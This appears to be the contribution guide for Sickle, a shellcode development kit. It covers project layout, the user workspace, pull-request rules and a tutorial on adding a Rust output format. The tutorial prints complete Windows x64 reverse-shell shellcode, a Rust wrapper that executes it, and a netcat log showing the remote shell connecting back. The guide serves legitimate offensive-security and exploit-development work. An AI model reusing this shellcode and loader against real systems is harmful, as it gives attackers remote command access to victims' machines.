Files
2026-01-13 17:40:07 -06:00

22 KiB
Raw Permalink Blame History

Contributing to Sickle

First off, thank you for taking the time to contribute to Sickle!

All contributions are welcome, and I kindly ask that you follow a few guidelines specific to this project. To make it easier, Ive included a Table of Contents in this document to help you navigate the contribution process, based on Sickle v4.0.0.

Even if you dont have time to contribute directly, simply using the project is a huge motivator to continue its development.

If youd like to show your support in other ways, you can:

  • Give the project a star
  • X about it
  • Become a sponsor :)

Ultimately, the fact that youre here means youre already a contributor, and I truly appreciate your support!

Table of Contents

Kit Layout

The project is continuously evolving, but its overall layout should remain consistent. Depending on your goal, youll typically need to focus on just one specific area.

The main directory you'll often be working in is src/sickle, within this directory you'll find the following subdirectories.

$ ls -l
total 20
-rw-rw-r-- 1 wetw0rk wetw0rk    0 Mar 28 09:54 __init__.py
-rw-rw-r-- 1 wetw0rk wetw0rk  421 Mar 28 09:54 __main__.py
drwxrwxr-x 4 wetw0rk wetw0rk 4096 Mar 28 09:54 common
drwxrwxr-x 2 wetw0rk wetw0rk 4096 Mar 28 09:54 formats
drwxrwxr-x 2 wetw0rk wetw0rk 4096 Mar 28 09:54 modules
drwxrwxr-x 4 wetw0rk wetw0rk 4096 Mar 28 09:54 payloads

Let's break this down:

  • common: This directory contains "handlers" for Sickle's default operations and "standard libraries" used by payload and development modules. Very rarely will you be modifying content within this directory since majority of updates to these files will be new features that affect the whole kit or simply bug fixes.

  • formats: This is where all formats supported by Sickle are stored (e.g c, java, python). Should you be using a custom wrapper in a new language not supported by Sickle this is where you would add it.

  • modules: This is where all development modules are stored, not to be confused with payload modules. Here is where new capabilities that assist in development should be added (e.g diff, run).

  • payloads: This is where actual shellcode stubs should be stored. Depending on what platform you're developing for is what subdirectories you will use. Sickle is organized by platform, architecture, and name. For example, if you wanted to add a Windows x86 Reverse Shell, you would place it under windows/x86/shell_reverse_tcp.py.

Often the best way to begin module development, is by copying an existing file and going from there.

Your Workspace

When running Sickle for the first time, a workspace for custom modules, formats, and payloads is automatically created for your user. This is done so you can safely add new features to Sickle without messing with the kit until you're ready to submit a pull request. Of course, this is also designed for those of you working as Red Team Operators who may not want to open source a custom stager.

Within Linux this can be found under ~/.local/share/sickle as shown below:

$ tree ~/.local/share/sickle                                                    
/home/wetw0rk/.local/share/sickle
├── formats
├── modules
└── payloads
    ├── linux
    │   ├── aarch64
    │   ├── x64
    │   └── x86
    └── windows
        ├── aarch64
        ├── x64
        └── x86

Examples

I plan to add more examples in the future but for now any examples on extending Sickle's functionality can be found in this section.

Adding a Format

Sickle's current format support can be checked easily by running sickle -l formats.

$ sickle-pdk -l formats

  Format        Description
  ------        -----------
  perl          Format bytecode for Perl
  python        Format bytecode for Python
  hex_space     Format bytecode in hex, seperated by a space
  nasm          Format bytecode for NASM
  java          Format bytecode for Java
  javascript    Format bytecode for Javascript (Blob to send via XHR)
  escaped       Format bytecode for one-liner hex escape paste
  rust          Format bytecode for a Rust application
  uint8array    Format bytecode for Javascript as a Uint8Array directly
  bash          Format bytecode for bash script (UNIX)
  powershell    Format bytecode for Powershell
  cs            Format bytecode for C#
  dword         Format bytecode in dword
  c             Format bytecode for a C application
  raw           Format bytecode to be written to stdout in raw form
  ruby          Format bytecode for Ruby
  num           Format bytecode in num format
  hex           Format bytecode in hex
  python3       Format bytecode for Python3

If this is your first time creating a format I recommend starting with c.py as this module is intentionally heavily documented as shown below:

from sickle.common.lib.reversing.marker import analyze_bytes
from sickle.common.lib.generic.convert import from_raw_to_escaped

class FormatModule():

    author           = "wetw0rk"
    format_name      = "c"
    description      = "Format bytecode for a C application"

    def __init__(self, raw_bytes=None, badchars=None, varname=None):
        
        self.raw_bytes = raw_bytes
        self.badchars = badchars
        self.varname = varname

        self.language_info = \
        {
            "single line comment": '//',
            "multi line comment": ["/*", "*/"],
            "opcode escape": "\\x",
            "seperator": "",
        }

    ###
    # get_language_information: Returns information on target language
    ###
    def get_language_information(self):
        
        return self.language_info

    ###
    # get_generated_lines:
    #   Generates bytecode lines to be injected into source code following rules of the target
    #   language. This is useful for when you want to inject shellcode into some source code.
    ###
    def get_generated_lines(self, pinpoint=False, single_line=False):
        
        backup_badchars = self.badchars
        if (pinpoint == False):
            self.badchars = None

        if (single_line != True):
            lines = ["unsigned char {:s}[] = ".format(self.varname)]
        else:
            lines = []

        escaped_bytes = from_raw_to_escaped(self.raw_bytes)
        results = analyze_bytes(self.language_info, escaped_bytes, self.badchars, 14)
        for i in range(len(results)):
            if ((i == (len(results) - 1)) and single_line != True):
                lines += "\"{:s}\";".format(results[i]),
            else:
                lines += "\"{:s}\"".format(results[i]),

        self.badchars = backup_badchars

        return lines

Creating the Format

As previously mentioned, the best way to begin is by copying the format to that of your intended target language. In this case c.py file to rust.py.

$ cp sickle/formats/c.py ~/.local/share/sickle/formats/rust.py

We can now begin modification of rust.py. The first lines we want to modify are 6-8. These lines contain information that will be presented to the user when running sickle -l.

  6     author           = "wetw0rk"
  7     format_name      = "rust"
  8     description      = "Format bytecode for a Rust application"

Next, we want to modify self.language_info. This variable contains information respective to the language. It's important to modify it since modules such as pinpoint depend on this information when parsing the language.

 16         self.language_info = \
 17         {
 18             "single line comment": '//',
 19             "multi line comment": ["/*", "*/"],
 20             "opcode escape": "0x",
 21             "seperator": ",",
 22         }

Since this language is unique, we won't need the from_raw_to_escaped() function. Let's comment it out for now to practice "good programming habits". However, we will delete it later.

  2 #from sickle.common.lib.generic.convert import from_raw_to_escaped

Next, we'll want to create an op_str variable. This will be the string that gets parsed by the analyze_bytes() function. Lucky for us cs.py (C# format) uses a very similar format to rust so we can just copy and paste it into our new module.

def get_generated_lines(self, pinpoint=False, single_line=False):
 37 --snip--
 41
 42         op_str = ""
 43         try:
 44             split_badchar = self.badchars.split(',')
 45             for i in range(len(split_badchar)):
 46                 mod_badchars += "0x%s," % (split_badchar[i][2:])
 47                 self.badchars = mod_badchars.rstrip(',')
 48         except:
 49             pass
 50 
 51         for byte in bytearray(self.raw_bytes):
 52             op_str += "0x{:02x},".format(byte)
 53         
 54         if (single_line != True):
 52 --snip--

Next, we'll want to modify the if condition checking the single_line variable, this line is responsible for how the byte array is instantiated.

 54         if (single_line != True):
 55             lines = ["static {:s}:[u8;{:d}] = [".format(self.varname, len(self.raw_bytes))]
 56         else:
 57             lines = []

Next, comment out the escaped_bytes variable. As previously mentioned since this language is more complex than C/Python we will be using an op_str variable similar to the C# format.

 59 #        escaped_bytes = from_raw_to_escaped(self.raw_bytes)

Next, modify the analyze_bytes() function. Here we swapped out the escaped_bytes variable for the newly created op_str variable and changed the bytes_per_line parameter used by analyze_bytes() to 15.

I've found that this is something you play with depending on how each byte is formatted.

 60         results = analyze_bytes(self.language_info, op_str, self.badchars, 15)

Finally, we want to modify how the results variable is output. This will also vary depending on the target language.

 61         for i in range(len(results)):
 62             snip = len(results[i]) - 1
 63             
 64             if ((i == (len(results)-1)) and single_line != True):
 65                 lines.append(results[i][:snip] + " ];")
 66             else:
 67                 lines.append(results[i])

If everything went well you should be able to generate a shellcode stub using the new format.

Testing the Format

We're now ready to test the format, there are many ways to do this however I will be using the windows/x64/shell_reverse_tcp for this example.

// /usr/local/bin/sickle-pdk -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 -f rust
// size: 571 bytes
static buf:[u8;571] = [
0x48,0x89,0xe5,0x48,0x81,0xec,0x20,0x01,0x00,0x00,0x48,0x83,0xe4,0xf0,0xe8,
0x87,0x01,0x00,0x00,0x48,0x89,0xc7,0x48,0xba,0x8e,0x4e,0x0e,0xec,0x00,0x00,
0x00,0x00,0xe8,0xa8,0x01,0x00,0x00,0x48,0x89,0x45,0xf8,0x48,0xc7,0xc2,0x72,
0xfe,0xb3,0x16,0xe8,0x98,0x01,0x00,0x00,0x48,0x89,0x45,0xf0,0x48,0xc7,0xc2,
0x83,0xb9,0xb5,0x78,0xe8,0x88,0x01,0x00,0x00,0x48,0x89,0x45,0xe8,0x48,0xb9,
0x57,0x73,0x32,0x5f,0x33,0x32,0x2e,0x64,0x48,0x89,0x4d,0xb0,0x66,0xb9,0x6c,
0x6c,0x66,0x89,0x4d,0xb8,0x48,0x31,0xc9,0x88,0x4d,0xba,0x48,0x8d,0x4d,0xb0,
0x48,0x8b,0x45,0xf8,0xff,0xd0,0x48,0x89,0xc7,0x48,0xc7,0xc2,0xcb,0xed,0xfc,
0x3b,0xe8,0x4f,0x01,0x00,0x00,0x48,0x89,0x45,0xe0,0x48,0xba,0xd9,0x09,0xf5,
0xad,0x00,0x00,0x00,0x00,0xe8,0x3c,0x01,0x00,0x00,0x48,0x89,0x45,0xd8,0x48,
0xc7,0xc2,0xec,0xf9,0xaa,0x60,0xe8,0x2c,0x01,0x00,0x00,0x48,0x89,0x45,0xd0,
0x48,0xc7,0xc1,0x02,0x02,0x00,0x00,0x48,0x8d,0x55,0xa8,0x48,0x8b,0x45,0xe0,
0xff,0xd0,0xb9,0x02,0x00,0x00,0x00,0xba,0x01,0x00,0x00,0x00,0x49,0xc7,0xc0,
0x06,0x00,0x00,0x00,0x4d,0x31,0xc9,0x4c,0x89,0x4c,0x24,0x20,0x4c,0x89,0x4c,
0x24,0x28,0x48,0x8b,0x45,0xd8,0xff,0xd0,0x48,0x89,0xc6,0x48,0x89,0xc1,0x49,
0xc7,0xc0,0x10,0x00,0x00,0x00,0x48,0x8d,0x55,0xa0,0x49,0xb9,0x02,0x00,0x05,
0x39,0x7f,0x00,0x00,0x01,0x4c,0x89,0x0a,0x4d,0x31,0xc9,0x4c,0x89,0x4a,0x08,
0x48,0x8b,0x45,0xd0,0xff,0xd0,0x48,0x8d,0xbd,0x38,0xff,0xff,0xff,0x48,0x89,
0xfb,0x31,0xc0,0xb9,0x1a,0x00,0x00,0x00,0xf3,0xab,0xb8,0x68,0x00,0x00,0x00,
0x89,0x03,0xb8,0x00,0x01,0x00,0x00,0x89,0x43,0x3c,0x48,0x89,0x73,0x50,0x48,
0x89,0x73,0x58,0x48,0x89,0x73,0x60,0x48,0xb9,0x63,0x6d,0x64,0x2e,0x65,0x78,
0x65,0x00,0x48,0x89,0x8d,0x30,0xff,0xff,0xff,0x48,0x31,0xc9,0x88,0x8d,0x38,
0xff,0xff,0xff,0x48,0x8d,0x95,0x30,0xff,0xff,0xff,0x4d,0x31,0xc0,0x4d,0x31,
0xc9,0x31,0xc0,0xff,0xc0,0x48,0x89,0x44,0x24,0x20,0xff,0xc8,0x48,0x89,0x44,
0x24,0x28,0x48,0x89,0x44,0x24,0x30,0x48,0x89,0x44,0x24,0x38,0x48,0x89,0x5c,
0x24,0x40,0x48,0x8d,0x9d,0x28,0xff,0xff,0xff,0x48,0x89,0x5c,0x24,0x48,0x48,
0x8b,0x45,0xf0,0xff,0xd0,0x48,0x31,0xc9,0x48,0xff,0xc9,0x48,0x31,0xd2,0x48,
0x8b,0x45,0xe8,0xff,0xd0,0x55,0x48,0x89,0xe5,0xb2,0x4b,0x48,0xc7,0xc1,0x60,
0x00,0x00,0x00,0x65,0x4c,0x8b,0x01,0x49,0x8b,0x78,0x18,0x48,0x8b,0x7f,0x10,
0x48,0x31,0xc9,0x48,0x8b,0x47,0x30,0x48,0x8b,0x77,0x60,0x48,0x8b,0x3f,0x66,
0x39,0x4e,0x18,0x75,0xec,0x38,0x16,0x75,0xe8,0xc9,0xc3,0x55,0x48,0x89,0xe5,
0x8b,0x5f,0x3c,0x48,0x81,0xc3,0x88,0x00,0x00,0x00,0x48,0x01,0xfb,0x8b,0x03,
0x48,0x89,0xfb,0x48,0x01,0xc3,0x8b,0x43,0x20,0x49,0x89,0xf8,0x49,0x01,0xc0,
0x48,0x8b,0x4b,0x18,0x67,0xe3,0x43,0xff,0xc9,0x41,0x8b,0x04,0x88,0x48,0x89,
0xfe,0x48,0x01,0xc6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xfc,0xac,0x84,0xc0,0x74,
0x09,0x41,0xc1,0xc9,0x0d,0x49,0x01,0xc1,0xeb,0xf2,0x41,0x39,0xd1,0x75,0xd7,
0x44,0x8b,0x43,0x24,0x49,0x01,0xf8,0x48,0x31,0xc0,0x66,0x41,0x8b,0x04,0x48,
0x44,0x8b,0x43,0x1c,0x49,0x01,0xf8,0x41,0x8b,0x04,0x80,0x48,0x01,0xf8,0xc9,
0xc3 ];

Congratulations, you have successfully added a new format!

To test it I used the following wrapper from winsecurity:

fn main() {
    
    #[link_section = ".text"]
    // /usr/local/bin/sickle-pdk -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 -f rust
    // size: 564 bytes
    static buffer:[u8;564] = [
    0x55,0x48,0x89,0xe5,0x48,0x81,0xec,0x20,0x01,0x00,0x00,0x48,0x83,0xe4,0xf0,
    0xe8,0x7f,0x01,0x00,0x00,0x48,0x89,0xc7,0x48,0xba,0x8e,0x4e,0x0e,0xec,0x00,
    0x00,0x00,0x00,0xe8,0xa0,0x01,0x00,0x00,0x48,0x89,0x45,0xf8,0x48,0xc7,0xc2,
    0x72,0xfe,0xb3,0x16,0xe8,0x90,0x01,0x00,0x00,0x48,0x89,0x45,0xf0,0x48,0xc7,
    0xc2,0x83,0xb9,0xb5,0x78,0xe8,0x80,0x01,0x00,0x00,0x48,0x89,0x45,0xe8,0x48,
    0xb9,0x57,0x73,0x32,0x5f,0x33,0x32,0x2e,0x64,0x48,0x89,0x4d,0xb0,0x66,0xb9,
    0x6c,0x6c,0x66,0x89,0x4d,0xb8,0x48,0x31,0xc9,0x88,0x4d,0xba,0x48,0x8d,0x4d,
    0xb0,0x48,0x8b,0x45,0xf8,0xff,0xd0,0x48,0x89,0xc7,0x48,0xc7,0xc2,0xcb,0xed,
    0xfc,0x3b,0xe8,0x47,0x01,0x00,0x00,0x48,0x89,0x45,0xe0,0x48,0xba,0xd9,0x09,
    0xf5,0xad,0x00,0x00,0x00,0x00,0xe8,0x34,0x01,0x00,0x00,0x48,0x89,0x45,0xd8,
    0x48,0xc7,0xc2,0xec,0xf9,0xaa,0x60,0xe8,0x24,0x01,0x00,0x00,0x48,0x89,0x45,
    0xd0,0x48,0xc7,0xc1,0x02,0x02,0x00,0x00,0x48,0x8d,0x55,0xa8,0x48,0x8b,0x45,
    0xe0,0xff,0xd0,0xb9,0x02,0x00,0x00,0x00,0xba,0x01,0x00,0x00,0x00,0x49,0xc7,
    0xc0,0x06,0x00,0x00,0x00,0x4d,0x31,0xc9,0x4c,0x89,0x4c,0x24,0x20,0x4c,0x89,
    0x4c,0x24,0x28,0x48,0x8b,0x45,0xd8,0xff,0xd0,0x48,0x89,0xc6,0x48,0x89,0xc1,
    0x49,0xc7,0xc0,0x10,0x00,0x00,0x00,0x48,0x8d,0x55,0xa0,0x49,0xb9,0x02,0x00,
    0x10,0x92,0xc0,0xa8,0x5b,0x86,0x4c,0x89,0x0a,0x4d,0x31,0xc9,0x4c,0x89,0x4a,
    0x08,0x48,0x8b,0x45,0xd0,0xff,0xd0,0x48,0x8d,0xbd,0x38,0xff,0xff,0xff,0x48,
    0x89,0xfb,0x31,0xc0,0xb9,0x1a,0x00,0x00,0x00,0xf3,0xab,0xb8,0x68,0x00,0x00,
    0x00,0x89,0x03,0xb8,0x00,0x01,0x00,0x00,0x89,0x43,0x3c,0x48,0x89,0x73,0x50,
    0x48,0x89,0x73,0x58,0x48,0x89,0x73,0x60,0x31,0xc9,0x48,0x89,0xea,0x48,0x8d,
    0x95,0x30,0xff,0xff,0xff,0x48,0x31,0xc0,0xb8,0x63,0x6d,0x64,0x00,0x48,0x89,
    0x02,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x31,0xc0,0xff,0xc0,0x48,0x89,0x44,0x24,
    0x20,0xff,0xc8,0x48,0x89,0x44,0x24,0x28,0x48,0x89,0x44,0x24,0x30,0x48,0x89,
    0x44,0x24,0x38,0x48,0x89,0x5c,0x24,0x40,0x48,0x8d,0x9d,0x28,0xff,0xff,0xff,
    0x48,0x89,0x5c,0x24,0x48,0x48,0x8b,0x45,0xf0,0xff,0xd0,0x48,0x31,0xc9,0x48,
    0xff,0xc9,0x48,0x31,0xd2,0x48,0x8b,0x45,0xe8,0xff,0xd0,0xc9,0xc3,0x55,0x48,
    0x89,0xe5,0xb2,0x4b,0x48,0xc7,0xc1,0x60,0x00,0x00,0x00,0x65,0x4c,0x8b,0x01,
    0x49,0x8b,0x78,0x18,0x48,0x8b,0x7f,0x10,0x48,0x31,0xc9,0x48,0x8b,0x47,0x30,
    0x48,0x8b,0x77,0x60,0x48,0x8b,0x3f,0x66,0x39,0x4e,0x18,0x75,0xec,0x38,0x16,
    0x75,0xe8,0xc9,0xc3,0x55,0x48,0x89,0xe5,0x8b,0x5f,0x3c,0x48,0x81,0xc3,0x88,
    0x00,0x00,0x00,0x48,0x01,0xfb,0x8b,0x03,0x48,0x89,0xfb,0x48,0x01,0xc3,0x8b,
    0x43,0x20,0x49,0x89,0xf8,0x49,0x01,0xc0,0x48,0x8b,0x4b,0x18,0x67,0xe3,0x43,
    0xff,0xc9,0x41,0x8b,0x04,0x88,0x48,0x89,0xfe,0x48,0x01,0xc6,0x4d,0x31,0xc9,
    0x48,0x31,0xc0,0xfc,0xac,0x84,0xc0,0x74,0x09,0x41,0xc1,0xc9,0x0d,0x49,0x01,
    0xc1,0xeb,0xf2,0x41,0x39,0xd1,0x75,0xd7,0x44,0x8b,0x43,0x24,0x49,0x01,0xf8,
    0x48,0x31,0xc0,0x66,0x41,0x8b,0x04,0x48,0x44,0x8b,0x43,0x1c,0x49,0x01,0xf8,
    0x41,0x8b,0x04,0x80,0x48,0x01,0xf8,0xc9,0xc3 ];

    let bufferptr = &buffer as *const u8;

    unsafe{
       let exec =std::mem::transmute::<*const u8,fn()>(bufferptr);
        exec();
    }
}

Then compiled it using rustc.exe:

C:\Users\admin\Desktop>rustc sc_exec.rs
warning: static variable `buffer` should have an upper case name
 --> sc_exec.rs:6:12
  |
6 |     static buffer:[u8;564] = [
  |            ^^^^^^ help: convert the identifier to upper case: `BUFFER`
  |
  = note: `#[warn(non_upper_case_globals)]` on by default

warning: 1 warning emitted

Once compiled, I setup a handler using Netcat and ran it like so:

C:\Users\admin\Desktop>sc_exec.exe

Once ran, I received a reverse shell :)

$ nc -lvp 4242
listening on [any] 4242 ...
X.X.X.X: inverse host lookup failed: Unknown host
connect to [Y.Y.Y.Y] from (UNKNOWN) [X.X.X.X] 50248
Microsoft Windows [Version 10.0.19045.5965]
(c) Microsoft Corporation. All rights reserved.

C:\Users\admin\Desktop>

Creating a Pull Request (Generic Rules)

Depending on what the reason is for your pull request I ask you follow the guidelines below:

  • If you are extending the core kit (say a header file) ensure that you match the structure layout to that of C code. I will be manually checking this so be patient when you submit a PR.

  • Make sure that any module submitted is documented appropriately. No need for a comment on each line but it needs to be verbose enough for me to ensure no backdoors are added to the kit. Regardless, I will be testing your code!

  • Try your best to stick to PEP8, however I will not be super strict on this.

  • Check your spelling and grammar. You don't need to have perfect comments but make sure that any information within a module is understandable by a general audience.

  • Minimize imports. If a module or function is not in use, please remove it!

New Payloads

If you want to add a new payload it needs to fit the following criteria:

  • The payload must be useful during exploitation and have a decently large attack surface / broad application. For example, an egghunter is a solid addition since it is a technique that can be inserted into many exploits, whereas a payload that connects to a TFTP server and downloads and executes a file may not be the best fit for the kit simply due to its size and application. However, if you want to add a new loader, say DLL injection, this is welcomed since users can then create a DLL that will perform the aforementioned TFTP technique or anything else they program (broad application).

  • Ensure you are using proper API, strings for example should use the function from_str_to_xwords()

  • Please provide a testing environment since I will need to test your payload. For example:

    • I tested my payload against Windows 10 (10.0.17763 N/A Build 17763)
    • The target architecture is 64bit
    • The DLL I tested with the shellcode is (http[:]//link[.]com/MessageBoxDLL.c)
    • To compile the DLL run x MessageBoxDLL.c -o MessageBoxDLL.dll
    • You will need to use Netcat as a handler with the DLL (nc -lvp < MessageBoxDLL.dll)
    • The stub has been tested using the following wrapper (https[:]//link[.]com/shellcodeexec.c)
    • To compile the wrapper run x shellcodeexec.c -o test.exe and run the executable with no arguments
    • Upon execution you should get a callback on Netcat, hit [CTRL] + [C] and you should see a MessageBox on the target machine

New Modules

If you want to add a new module ensure it fits the following criteria:

  • Currently modules are aimed at reverse engineering, if your module is platform specific e.g generates a backdoored binary, contact me at wetw0rk on discord and I will implement a structure similar to payloads to support this. I plan to add this in later releases.
  • Ensure the module works with multiple architectures if it does not implement checks.
  • Ensure that payloads within Sickle are compatible with the module in addition to external payloads -r
  • Please provide a testing environment I can recreate to test your module.

New Formats

If you want to add a new format it needs to fit the following criteria:

  • The format must be a widely deployed language or format. For example, Golang would be a great addition. Some formats do not need to be a language and can be a way multiple languages accept input. A great example of this is dword.

  • Please provide a testing environment since I need to ensure the language accepts that format. A good example of this can be found in this tutorial. I don't need it to be this verbose but I need to be able to follow the steps provided to test the new format.